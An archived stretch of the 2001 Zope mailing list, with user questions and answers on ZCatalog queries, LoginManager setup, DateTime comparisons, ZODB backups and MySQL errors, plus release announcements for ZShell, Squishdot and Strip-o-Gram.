[ANN] ZShell 0.2 > And on that subject.. Mailing List Admin - I hereby request that > [Zope], [Zope-dev] etc. be dropped from all subjects as they aren't > useful. > > Best regards > -Simon From renfro@tntech.edu Mon May 7 21:19:37 2001 From: renfro@tntech.edu (Mike Renfro) Date: Mon, 7 May 2001 15:19:37 -0500 Subject: [Zope] RE: Mailing List Admin Feature Request (was [ANN] ZShell 0.2) In-Reply-To: ; from eric@walstads.net on Mon, May 07, 2001 at 01:12:33PM -0700 References: <87r8y1arqq.fsf@joyful.com> Message-ID: <20010507151937.A4702@ch208d.cae.tntech.edu> On Mon, May 07, 2001 at 01:12:33PM -0700, Eric Walstad wrote: > I use them in code that sorts my incoming mail messages into > specific folders. Yes, I'm being selfish and lazy so that I don't > have to rewrite my sorting code. :) Personally, I'd just as soon drop the [Zope] prefix on all the list messages. The only reason I use them at all is to identify when some yahoo sticks the mailing list address in a Bcc: or something similar (ending up in my main inbox), which accounts for <1% of all the Zope mail I get. -- Mike Renfro / R&D Engineer, Center for Manufacturing Research, 931 372-3601 / Tennessee Technological University -- renfro@tntech.edu From nika@kassube.de Mon May 7 14:56:05 2001 From: nika@kassube.de (Nils Kassube) Date: Mon, 7 May 2001 15:56:05 +0200 Subject: [Zope] Sorting mod.time with dtml-in? In-Reply-To: <15090.62937.46920.564769@lindm.dm>; from dieter@handshake.de on Fri, May 04, 2001 at 08:32:57PM +0200 References: <278511686@toto.iv> <15090.62937.46920.564769@lindm.dm> Message-ID: <20010507155605.C20485@kursk.kassube.de> * Dieter Maurer [2001-05-04 20:32]: > With "sort" your sort specification is constant. > You can say, sort first according to "time" then to "id". > But you cannot say, sort according to the field name currently > held in variable "sort_by". This is necessary for such > nice "sort" features found wide spread: click on a column > head and the content is sorted with respect to this column... > You would use "sort_expr=sort_by" for this. Well, you _can_ do this only using the "sort" attribute. I think a lot of folks do it the hard way, not the smart way you described, because of page 74 in the Zope Book's PDF file (Chapter 5, the File Library example). Cheers, Nils From bz@bwanazulia.com Mon May 7 23:37:42 2001 From: bz@bwanazulia.com (BZ) Date: 7 May 2001 22:37:42 -0000 Subject: [Zope] ZCatalog searching on null field Message-ID: <20010507223742.24960.qmail@server1.mahnke.net> I want to search through a ZCatalog and only return things that have an empty field. >From everything I have read, this should work .... but it does not... Anyone? BZ From erik@pacific-shores.com Mon May 7 21:30:32 2001 From: erik@pacific-shores.com (Erik Myllymaki) Date: Mon, 7 May 2001 13:30:32 -0700 Subject: [Zope] is ZEO the answer? Message-ID: <005e01c0d734$90876f00$0b01a8c0@erm> I would like to publish my Zope site internally (Intranet) via HTTP AND externally via HTTPS (Internet). Should I be looking at ZEO or another option? Using on HTTPS server for both would be the easiest, but the intranet use is pretty heavy and I don't want to incure the overhead of SSL on what doesn't need to be encrypted. Thanks in advance, Erik Myllymaki erik@pacific-shores.com From chrism@digicool.com Mon May 7 21:44:26 2001 From: chrism@digicool.com (Chris McDonough) Date: Mon, 7 May 2001 16:44:26 -0400 Subject: [Zope] ZCatalog searching on null field References: <20010507223742.24960.qmail@server1.mahnke.net> Message-ID: <018001c0d736$81ce2330$8e17a8c0@kurtz> Hi BZ, Assuming field_name is a field index, try: ... For the ugly reasons why this is necessary, see the docstring of the _apply_index method of the UnIndex class within lib/python/SearchIndex/UnIndex.py . ----- Original Message ----- From: "BZ" To: Sent: Monday, May 07, 2001 6:37 PM Subject: [Zope] ZCatalog searching on null field > I want to search through a ZCatalog and only return things that have an empty field. > > >From everything I have read, this should work > > > .... > > > but it does not... > > Anyone? > > BZ > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From simon@joyful.com Mon May 7 21:38:31 2001 From: simon@joyful.com (Simon Michael) Date: 07 May 2001 13:38:31 -0700 Subject: [Zope] RE: Mailing List Admin Feature Request (was [ANN] ZShell 0.2) In-Reply-To: (Eric Walstad's message of "Mon, 07 May 2001 13:12:33 -0700") References: Message-ID: <87n18oc2t4.fsf@joyful.com> Ha! *Surely* all today's email clients and custom scripts can sort based on the address. Those that can't, I would say are a very small number, and if someone must be inconvenienced, should it not be them as opposed to the vast majority who see a superfluous header on every single message, which obscures real information and obstructs the useful [subtopic] convention ? I'm right. Go on. Isn't it my turn to be right today ? :) -Simon From astlj@hotmail.com Mon May 7 21:40:37 2001 From: astlj@hotmail.com (Tommy Johnson) Date: Mon, 07 May 2001 12:40:37 -0800 Subject: [Zope] Where may I find some discussions about the pros and cons of Zope vs ASP vs PHP, etc... Message-ID: > >From static HTML -> ASP = Wow! >From ASP -> PHP/Coldfusion = Chock! >From PHP/Coldfusion -> Zope = Heart attack! > This is exactly the way I progressed: HTML to ASP ASP to ColdFusion Coldfusion to Zope And I am experiencing a heart attack, along with a stroke. And just this morning, I found a patch of grey hairs. I hope it gets better, I've only been in this Zope experience for 2 1/2 weeks now. Tommy _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From bz@bwanazulia.com Tue May 8 00:00:06 2001 From: bz@bwanazulia.com (BZ) Date: 7 May 2001 23:00:06 -0000 Subject: [Zope] ZCatalog searching on null field In-Reply-To: <> References: <> Message-ID: <20010507230006.8027.qmail@server1.mahnke.net> Hey Chris, You are a life saver (like many times before). It works like a charm. Thanks, BZ On Mon, 7 May 2001 16:44:26 -0400, "Chris McDonough" wrote : > Hi BZ, > > Assuming field_name is a field index, try: > > > ... > > > For the ugly reasons why this is necessary, see the docstring of the > _apply_index method of the UnIndex class within > lib/python/SearchIndex/UnIndex.py . > > > ----- Original Message ----- > From: "BZ" > To: > Sent: Monday, May 07, 2001 6:37 PM > Subject: [Zope] ZCatalog searching on null field > > > > I want to search through a ZCatalog and only return things that have an > empty field. > > > > >From everything I have read, this should work > > > > > > .... > > > > > > but it does not... > > > > Anyone? > > > > BZ > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > > > From jasonic@nomadicsltd.com Mon May 7 22:18:36 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Mon, 7 May 2001 17:18:36 -0400 Subject: [Zope] Beautiful Project using a beautiful system Message-ID: <001101c0d73b$479d3020$c3090740@megapathdsl.net> http://www.rosettaproject.org:8080/live From erik@pacific-shores.com Mon May 7 22:14:11 2001 From: erik@pacific-shores.com (Erik Myllymaki) Date: Mon, 7 May 2001 14:14:11 -0700 Subject: [Zope] loginmanager in root folder? Message-ID: <00a201c0d73a$a9770b00$0b01a8c0@erm> I am useing loginmanager0-8-8b1 with zope2.3.2 on win32. I upgraded zpatterns to0-4-3b2 as well. I have it working well with a MS SQLServer database but can't seem to figure out how to install it in the root folder. I get stuck in a catch-22 - I can't login as root(superuser/emergency user) to do the task because after I delete the /zoperoot/acl_users folder and try and paste the loginmanager folder, I get the "superuser cannot own" error message. When I login as another user with Manager and Owner roles to do the same task, immediately upon deleting the /zoperoot/acl_users folder, before I get a chance to paste the loginmanager folder I get promted to login again and can't (except as superuser). Any advice appreciated, Erik Myllymaki erik@pacific-shores.com From andym@ActiveState.com Mon May 7 22:38:37 2001 From: andym@ActiveState.com (Andy McKay) Date: Mon, 7 May 2001 14:38:37 -0700 Subject: [Zope] loginmanager in root folder? References: <00a201c0d73a$a9770b00$0b01a8c0@erm> Message-ID: <003101c0d73e$12f6eb10$ae03a8c0@activestate.com> It sounds glib, but dont replace the root folders acl_users. I did and regretted it when I found myself locked out of the database. Put it in a sub folder and you will never lock yourself out again... Cheers. -- Andy McKay. ----- Original Message ----- From: "Erik Myllymaki" To: Sent: Monday, May 07, 2001 2:14 PM Subject: [Zope] loginmanager in root folder? > I am useing loginmanager0-8-8b1 with zope2.3.2 on win32. > > I upgraded zpatterns to0-4-3b2 as well. > > I have it working well with a MS SQLServer database but can't seem to figure > out how to install it in the root folder. > > I get stuck in a catch-22 - I can't login as root(superuser/emergency user) > to do the task because after I delete the /zoperoot/acl_users folder and try > and paste the loginmanager folder, I get the "superuser cannot own" error > message. When I login as another user with Manager and Owner roles to do the > same task, immediately upon deleting the /zoperoot/acl_users folder, before > I get a chance to paste the loginmanager folder I get promted to login again > and can't (except as superuser). > > Any advice appreciated, > > Erik Myllymaki > erik@pacific-shores.com > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From michel@digicool.com Mon May 7 23:03:13 2001 From: michel@digicool.com (Michel Pelletier) Date: Mon, 7 May 2001 15:03:13 -0700 (PDT) Subject: [Zope] [ANN] ZShell 0.2 In-Reply-To: <87r8y1arqq.fsf@joyful.com> Message-ID: On 7 May 2001, Simon Michael wrote: > Jerome Alet writes: > > PS: perhaps I should set up a mailing list somewhere to not waste Zope's > > one bandwidth, what do you think ? > > NO! > > my ornery 2c for today. :) > > Using [zshell] in the subject is another option. > > And on that subject.. Mailing List Admin - I hereby request that > [Zope], [Zope-dev] etc. be dropped from all subjects as they aren't > useful. We had this debate about ten years ago (internet time). The result of that debate is obvious. Let's let dead dogs lie. -Michel From phil.harris@zope.co.uk Tue May 8 23:19:36 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Tue, 8 May 2001 23:19:36 +0100 Subject: [Zope] loginmanager in root folder? In-Reply-To: <00a201c0d73a$a9770b00$0b01a8c0@erm> References: <00a201c0d73a$a9770b00$0b01a8c0@erm> Message-ID: <01050823193600.02383@localhost.localdomain> The way I do it is this: 1. create the loginmanager in a folder and set it up and check it, then check it again 2. check it again 3. once it works, select it and export it 3a. move the exported file to the import folder on the filesystem 4. delete the root acl_users 5. select the import button in the root (you will be asked to login again, as the superuser) 6. enter the name you gave the file in step 3 7. make sure you tell Zope to keep the current ownership of the imported gubbins All should now be well, as the superuser doesn't own the acl_users, eat violas hth Phil On Monday 07 May 2001 22:14, Erik Myllymaki wrote: > I am useing loginmanager0-8-8b1 with zope2.3.2 on win32. > > I upgraded zpatterns to0-4-3b2 as well. > > I have it working well with a MS SQLServer database but can't seem to > figure out how to install it in the root folder. > > I get stuck in a catch-22 - I can't login as root(superuser/emergency user) > to do the task because after I delete the /zoperoot/acl_users folder and > try and paste the loginmanager folder, I get the "superuser cannot own" > error message. When I login as another user with Manager and Owner roles to > do the same task, immediately upon deleting the /zoperoot/acl_users folder, > before I get a chance to paste the loginmanager folder I get promted to > login again and can't (except as superuser). > > Any advice appreciated, > > Erik Myllymaki > erik@pacific-shores.com > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From dave@kovach.com Mon May 7 23:25:11 2001 From: dave@kovach.com (dave@kovach.com) Date: 7 May 2001 15:25:11 -0700 Subject: [Zope] Where may I find some discussions about the pros and cons of Zope vs ASP vs PHP, etc... Message-ID: <20010507222511.7317.cpmta@c000.snv.cp.net> I found this in my travels today - though it doesnt spotlight Zope in particular it does compare: Perl, PHP, Python, Tcl, and Java servlets its at devworks: http://www-106.ibm.com/developerworks/library/script-survey/index.html DK On Mon, 07 May 2001, "Tommy Johnson" wrote: > > > > >From static HTML -> ASP = Wow! > >From ASP -> PHP/Coldfusion = Chock! > >From PHP/Coldfusion -> Zope = Heart attack! > > > > This is exactly the way I progressed: > HTML to ASP > ASP to ColdFusion > Coldfusion to Zope > > And I am experiencing a heart attack, along with a stroke. And just this > morning, I found a patch of grey hairs. I hope it gets better, I've only > been in this Zope experience for 2 1/2 weeks now. > > Tommy > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) _____________________________________________________ Get your name as your email and web site address. http://www.NetIdentity.com. Be somebody online. From erik@pacific-shores.com Mon May 7 23:30:00 2001 From: erik@pacific-shores.com (Erik Myllymaki) Date: Mon, 7 May 2001 15:30:00 -0700 Subject: [Zope] loginmanager in root folder? References: <00a201c0d73a$a9770b00$0b01a8c0@erm> <01050823193600.02383@localhost.localdomain> Message-ID: <00c701c0d745$40abf3a0$0b01a8c0@erm> Thanks. This works like a charm. ----- Original Message ----- From: "Phil Harris" To: "Erik Myllymaki" ; Sent: Tuesday, May 08, 2001 3:19 PM Subject: Re: [Zope] loginmanager in root folder? > The way I do it is this: > > 1. create the loginmanager in a folder and set it up and check it, then check > it again > 2. check it again > 3. once it works, select it and export it > 3a. move the exported file to the import folder on the filesystem > 4. delete the root acl_users > 5. select the import button in the root (you will be asked to login again, as > the superuser) > 6. enter the name you gave the file in step 3 > 7. make sure you tell Zope to keep the current ownership of the imported > gubbins > > All should now be well, as the superuser doesn't own the acl_users, > > eat violas > > hth > > Phil > > On Monday 07 May 2001 22:14, Erik Myllymaki wrote: > > I am useing loginmanager0-8-8b1 with zope2.3.2 on win32. > > > > I upgraded zpatterns to0-4-3b2 as well. > > > > I have it working well with a MS SQLServer database but can't seem to > > figure out how to install it in the root folder. > > > > I get stuck in a catch-22 - I can't login as root(superuser/emergency user) > > to do the task because after I delete the /zoperoot/acl_users folder and > > try and paste the loginmanager folder, I get the "superuser cannot own" > > error message. When I login as another user with Manager and Owner roles to > > do the same task, immediately upon deleting the /zoperoot/acl_users folder, > > before I get a chance to paste the loginmanager folder I get promted to > > login again and can't (except as superuser). > > > > Any advice appreciated, > > > > Erik Myllymaki > > erik@pacific-shores.com > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > From slinkp23@yahoo.com Mon May 7 23:34:31 2001 From: slinkp23@yahoo.com (Paul Winkler) Date: Mon, 07 May 2001 18:34:31 -0400 Subject: [Zope] External method default arg weirdness Message-ID: <3AF722F7.143529F9@yahoo.com> This is with Zope 2.2.2. If I give a default argument to the external method, and call it from a dtml method, the default gets used even if I pass the argument. Example: Try creating two external methods and calling them like this from standard_html_footer. Here are the two external method definitions: def my_ext_method1(id): return "
%s" % id def my_ext_method2(id="oops"): return "
%s" % id Anybody else get this? Why does it do that? -- ................... paul winkler .................... custom calendars & printing: http://www.calendargalaxy.com A member of ARMS: http://www.reacharms.com home page: http://www.slinkp.com From alet@unice.fr Mon May 7 23:40:40 2001 From: alet@unice.fr (Jerome Alet) Date: Tue, 8 May 2001 00:40:40 +0200 Subject: [Zope] [zshell] ANN: 0.5 with wildcard expansion Message-ID: <20010508004040.B1199@nordine.ateur> Hi, I'm pleased to announce you the zshell 0.5 downloadable from http://cortex.unice.fr/~jerome/zshell/ it features: * The long awaited wildcards expansion ala Unix shell (all commands) * Many bugfixes * Improved UI * The shutdown and zhelp commands: shutdown stops Zope zhelp searchs Zope's internal help It's the most stable version out there, go get it ! Thanks to Michel@DC, security checks will probably be included in the next version. So if you're "wet chickens" then wait for it, else point your browser to the url above, download and install it in / on your prod servers ;-) (this is a joke, please don't do it ! yet...) bye, and thanks to all for your support ! Jerome Alet From andym@ActiveState.com Mon May 7 23:47:58 2001 From: andym@ActiveState.com (Andy McKay) Date: Mon, 7 May 2001 15:47:58 -0700 Subject: [Zope] loginmanager in root folder? References: <00a201c0d73a$a9770b00$0b01a8c0@erm> <01050823193600.02383@localhost.localdomain> <00c701c0d745$40abf3a0$0b01a8c0@erm> Message-ID: <007c01c0d747$c360ba40$ae03a8c0@activestate.com> I would still voice extreme caution. One day when your SQL Server goes offline and you need to change something in Zope... -- Andy McKay. ----- Original Message ----- From: "Erik Myllymaki" To: "Phil Harris" ; Sent: Monday, May 07, 2001 3:30 PM Subject: Re: [Zope] loginmanager in root folder? > Thanks. This works like a charm. > > > ----- Original Message ----- > From: "Phil Harris" > To: "Erik Myllymaki" ; > Sent: Tuesday, May 08, 2001 3:19 PM > Subject: Re: [Zope] loginmanager in root folder? > > > > The way I do it is this: > > > > 1. create the loginmanager in a folder and set it up and check it, then > check > > it again > > 2. check it again > > 3. once it works, select it and export it > > 3a. move the exported file to the import folder on the filesystem > > 4. delete the root acl_users > > 5. select the import button in the root (you will be asked to login again, > as > > the superuser) > > 6. enter the name you gave the file in step 3 > > 7. make sure you tell Zope to keep the current ownership of the imported > > gubbins > > > > All should now be well, as the superuser doesn't own the acl_users, > > > > eat violas > > > > hth > > > > Phil > > > > On Monday 07 May 2001 22:14, Erik Myllymaki wrote: > > > I am useing loginmanager0-8-8b1 with zope2.3.2 on win32. > > > > > > I upgraded zpatterns to0-4-3b2 as well. > > > > > > I have it working well with a MS SQLServer database but can't seem to > > > figure out how to install it in the root folder. > > > > > > I get stuck in a catch-22 - I can't login as root(superuser/emergency > user) > > > to do the task because after I delete the /zoperoot/acl_users folder and > > > try and paste the loginmanager folder, I get the "superuser cannot own" > > > error message. When I login as another user with Manager and Owner roles > to > > > do the same task, immediately upon deleting the /zoperoot/acl_users > folder, > > > before I get a chance to paste the loginmanager folder I get promted to > > > login again and can't (except as superuser). > > > > > > Any advice appreciated, > > > > > > Erik Myllymaki > > > erik@pacific-shores.com > > > > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://lists.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://lists.zope.org/mailman/listinfo/zope-announce > > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From phil.harris@zope.co.uk Tue May 8 23:52:16 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Tue, 8 May 2001 23:52:16 +0100 Subject: [Zope] loginmanager in root folder? In-Reply-To: <007c01c0d747$c360ba40$ae03a8c0@activestate.com> References: <00a201c0d73a$a9770b00$0b01a8c0@erm> <00c701c0d745$40abf3a0$0b01a8c0@erm> <007c01c0d747$c360ba40$ae03a8c0@activestate.com> Message-ID: <01050823521601.02383@localhost.localdomain> Seconded, to a degree. If it's just a case of changing things (not adding them) the superuser can do that. Myself, I tend to have a folder as the site root, with Apache proxypass in front. Then create a normal Manager user in the root so you can still get in when (not if) your Database/LDAP/etc server goes down. Phil On Monday 07 May 2001 23:47, Andy McKay wrote: > I would still voice extreme caution. One day when your SQL Server goes > offline and you need to change something in Zope... > -- > Andy McKay. From joe@LADWP.net Tue May 8 00:50:29 2001 From: joe@LADWP.net (Joe Copeland) Date: Mon, 7 May 2001 16:50:29 -0700 Subject: [Zope] images References: <001901c0d694$5c0c7cc0$0a01a8c0@joecopeland.net> <3AF6B8D9.1940ACD@kaivo.com> Message-ID: <010801c0d750$7f3af660$0a01a8c0@joecopeland.net> Whooa! The transparent folders product is wonderful! It really helps to be able to perform acquisitions in the revers direction, down the file tree. I can now clean up all the clutter that is in my root folder. Thanks, -- Joe ----- Original Message ----- From: "Casey Duncan" To: "Joe Copeland" Cc: Sent: Monday, May 07, 2001 8:01 AM Subject: Re: [Zope] images > Joe Copeland wrote: > > > > How can I place an images in an "/images" folder so that they can be > > acquired by my entire site. > > > > I've placed my images in a directory called "/images" but I can't use the > > tag to access the image unless I'm in the /images > > directory or beneth it. > > > > Is there a way I can set the source directory of all image objects so that > > whenever I call upon an image by the image name Zope can find it? > > > > Thanks, > > > > Joe > > > > Use a transparent folder: > > http://www.zope.org/Members/hathawsh/TransparentFolders > > -- > | Casey Duncan > | Kaivo, Inc. > | cduncan@kaivo.com > `------------------> > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From chrisw@nipltd.com Tue May 8 00:48:10 2001 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 08 May 2001 00:48:10 +0100 Subject: [Zope] [Announce] Squishdot 1.1.0 Released Message-ID: <3AF7343A.D187EB7@nipltd.com> Squishdot 1.1.0 is now available from http://www.squishdot.org/Download The following major changes were made: - Search results calculation has been re-implemented and should be much more efficient now. - HTML parsing now done using the Strip-o-Gram library. - Properties are now deletable letting you share a set of properties between several Squishdot Sites. - Squishdot now uses the new Zope 2.3.2 BTrees There many other small changes and improvements. For details, see: http://squishdot.org/Documentation/Changes ** This release requires Zope 2.3.2 or later! ** If you run into problems, remember Squishdot has a mailing list at eGroups and a bug collector on SourceForge. cheers, Chris From chrisw@nipltd.com Tue May 8 01:08:07 2001 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 08 May 2001 01:08:07 +0100 Subject: [Zope] Strip-o-Gram HTML Conversion Library Released Message-ID: <3AF738E7.D64D4B56@nipltd.com> This little library was part of Squishdot. However, it's is useful in its own right, so I thought I'd release it seperately. It provides two methods: html2safehtml -- This strips out unsafe tags, JavaScript and the like based on a set of valid tags that you provide. html2text -- This converts html to text, some might even call it structured text ;-) To find out more, go to http://www.zope.org/Members/chrisw/StripOGram. Patches and bug reports are always welcome! cheers, Chris From evan@digicool.com Tue May 8 04:07:22 2001 From: evan@digicool.com (Evan Simpson) Date: Mon, 7 May 2001 23:07:22 -0400 Subject: [Zope] Re: [ZPT] index_html a script, not a template References: <031901c0d70f$85854980$1c64a8c0@PBN> Message-ID: <00df01c0d76c$0078f220$01000001@yosemite> From: "Peter Bengtsson" > I.e. I start with a template and most likely end up in a template. > > Am I alone on using templating objects for URL-hitting objects? Not at all. Both patterns have their place, and making code objects primary is a relatively new idiom. > What are the > implications (performance, scalability in terms of feature changes, etc.) of > using Python Scripts or External Method instead of templates? Not "instead of", but rather "in control of". The idea is that once you have more than a little code in your template, you might benefit from factoring it out into a setup Script that does a bunch of logic and then passes a set of variables to the template. > Is there a paradigm shift with these promising Page Templates (see quote > above)? I think that it has more to do with the rise of Python Scripts, although part of the Page Template philosophy is to avoid embedding non-presentation logic. Cheers, Evan @ digicool From ivaldes@hal-pc.org Tue May 8 05:35:34 2001 From: ivaldes@hal-pc.org (Ignacio Valdes) Date: Mon, 07 May 2001 23:35:34 -0500 Subject: [Zope] Re: [squishdot] [Announce] Squishdot 1.1.0 Released References: <3AF7343A.D187EB7@nipltd.com> Message-ID: <3AF77795.F1872F58@hal-pc.org> --------------1558F3E40F95D939412B2827 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Chris Withers wrote: > - Squishdot now uses the new Zope 2.3.2 BTrees > > ... > ** This release requires Zope 2.3.2 or later! ** > So does this mean CMF-based Squish is ever so much closer? -- IV -- Ignacio Valdes, Editor: Linux Medical News http://www.linuxmednews.com 'Revolutionizing Medical Education and Practice' --------------1558F3E40F95D939412B2827 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Chris Withers wrote:
   - Squishdot now uses the new Zope 2.3.2 BTrees

...
** This release requires Zope 2.3.2 or later! **
 

So does this mean CMF-based Squish is ever so much closer? -- IV
--
Ignacio Valdes, Editor: Linux Medical News
http://www.linuxmednews.com
'Revolutionizing Medical Education and Practice'
  --------------1558F3E40F95D939412B2827-- From fritz.mesedilla@summitmedia.com.ph Tue May 8 07:15:34 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Tue, 8 May 2001 14:15:34 +0800 Subject: [Zope] zeo database In-Reply-To: Message-ID: thank you for your help folks! Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord From hofmann@isl.org Tue May 8 07:16:15 2001 From: hofmann@isl.org (Kai Hofmann) Date: Tue, 8 May 2001 08:16:15 +0200 Subject: [Zope] DateTime() BUG! In-Reply-To: <15094.55871.785308.575045@lindm.dm> References: <385831297@toto.iv> Message-ID: <3AF7AAED.16741.3D409A0@localhost> > Kai Hofmann writes: > > the "enddate" I showed in the "pseudo"-code has been defined as an object= > > s=20 > > property of type "date" - so I assumed the argument is correct - isn't it= > > ? > But then the result *IS* correct, too! > > If you have, as is you example: > > enddate= > then > DateTime().lessThanOrEqual(enddate) > > must return "false" most of the day. > > As the name suggests: "DateTime" is date *AND* time. > "lessThanOrEqual" must take both components into account. >From my point this is not correct, because of the following points: 1) within the enddate there is no time defined - so it is NOT possible to compare the time - following your argument - the result should be a TYPE ERROR, because its not possible to compare a date/time pair with a date 2) A date only describes a whole day - so comparing it with a date/time pair should always result in a compare of the dates only - because the time is out of interest here (its always within the date range). 3) If you want to ignore point 1) and 2) then you MUST add a time to date single date - to make the compare work - you can add any time - but it would only make sense to add 00:00:00 or 23:59:59 as time (start / end of day) For a lessThanOrEqual it would be usefull to assume 23:59:59 - for a greaterThanOrEqual it would be usefull to assume 00:00:00 So your argument is not acceptable for me - sorry. Btw. for more about calendrical and time calculation have a look at my site at http://www.datelib.de/ Greetings Kai -- Hofmann Software Engineering International http://www.hofmann-int.de/ Dipl.-Inform. Kai Hofmann mailto:hofmann@hofmann-int.de Arberger Heerstr. 92 phone:+49 174 1419312 D-28307 Bremen/Germany fax:+49 421 4899933-1 From cg@cdegroot.com Tue May 8 07:52:50 2001 From: cg@cdegroot.com (Cees de Groot) Date: 8 May 2001 08:52:50 +0200 Subject: [Zope] Backing up ZODB References: Message-ID: <9d8542$qoq$1@home.cdegroot.com> Chris Gray said: >Are there any gotchas in backing up a _live_ instance of Zope by archiving >Data.fs? Will caching, ZEO, or something else make this hazardous or >unreliable? I'm not a ZODB guru, but from what I've seen the thing is append-only, so the worst thing that can happen is that you have half a transaction at the end, which is easy to fix on repair. >Is there a way to dump ZODB instead of just copying the >Data.fs file? > Well, you could use tranalyzer.py as input for such a script... From gitte@mmmanager.org Tue May 8 09:32:18 2001 From: gitte@mmmanager.org (Gitte Wange) Date: Tue, 8 May 2001 10:32:18 +0200 Subject: [Zope] Error when inserting into MySQL database Message-ID: <01050810321800.02171@squidbitch.mmmanager.org> Hello, I get a very serious error when trying to insert into my database: Zope Error Zope has encountered an error while publishing this resource. Error Type: error Error Value: Duplicate entry '127' for key 1 Troubleshooting Suggestions The URL may be incorrect. The parameters passed to this resource may be incorrect. A resource that this resource relies on may be encountering an error. For more detailed information about the error, please refer to the HTML source for this page. If the error persists please contact the site maintainer. Thank you for your patience. Traceback (innermost last): File /usr/local/Zope-2.3.0-linux2-x86/lib/python/ZPublisher/Publish.py, line 223, in publish_module File /usr/local/Zope-2.3.0-linux2-x86/lib/python/ZPublisher/Publish.py, line 187, in publish File /usr/local/Zope-2.3.0-linux2-x86/lib/python/Zope/__init__.py, line 221, in zpublisher_exception_hook (Object: Traversable) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/ZPublisher/Publish.py, line 171, in publish File /usr/local/Zope-2.3.0-linux2-x86/lib/python/ZPublisher/mapply.py, line 160, in mapply (Object: index_html) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/ZPublisher/Publish.py, line 112, in call_object (Object: index_html) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/OFS/DTMLMethod.py, line 189, in __call__ (Object: index_html) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/DocumentTemplate/DT_String.py, line 538, in __call__ (Object: index_html) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/DocumentTemplate/DT_With.py, line 146, in render (Object: portal_properties) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/DocumentTemplate/DT_With.py, line 146, in render (Object: admin) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/OFS/DTMLDocument.py, line 182, in __call__ (Object: index) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/DocumentTemplate/DT_String.py, line 538, in __call__ (Object: index) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/OFS/DTMLMethod.py, line 182, in __call__ (Object: dspDisplayArchive) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/DocumentTemplate/DT_String.py, line 538, in __call__ (Object: dspDisplayArchive) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/DocumentTemplate/DT_In.py, line 713, in renderwob (Object: sqlGetArchive(id=archiveid)) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/OFS/DTMLMethod.py, line 182, in __call__ (Object: fncDisplayClips) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/DocumentTemplate/DT_String.py, line 538, in __call__ (Object: fncDisplayClips) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/Shared/DC/ZRDB/DA.py, line 489, in __call__ (Object: sqlAddClip) File /usr/local/Zope-2.3.0-linux2-x86/lib/python/Products/ZMySQLDA/db.py, line 171, in query error: (see above) Okay - I have tried to delete the record in the database with id=127. Then I could insert one more record and then the error happens again. WHY ???? The id field is auto_incremented ... and the type is tinyint ... Anyone who have any ideas ??? Regards, 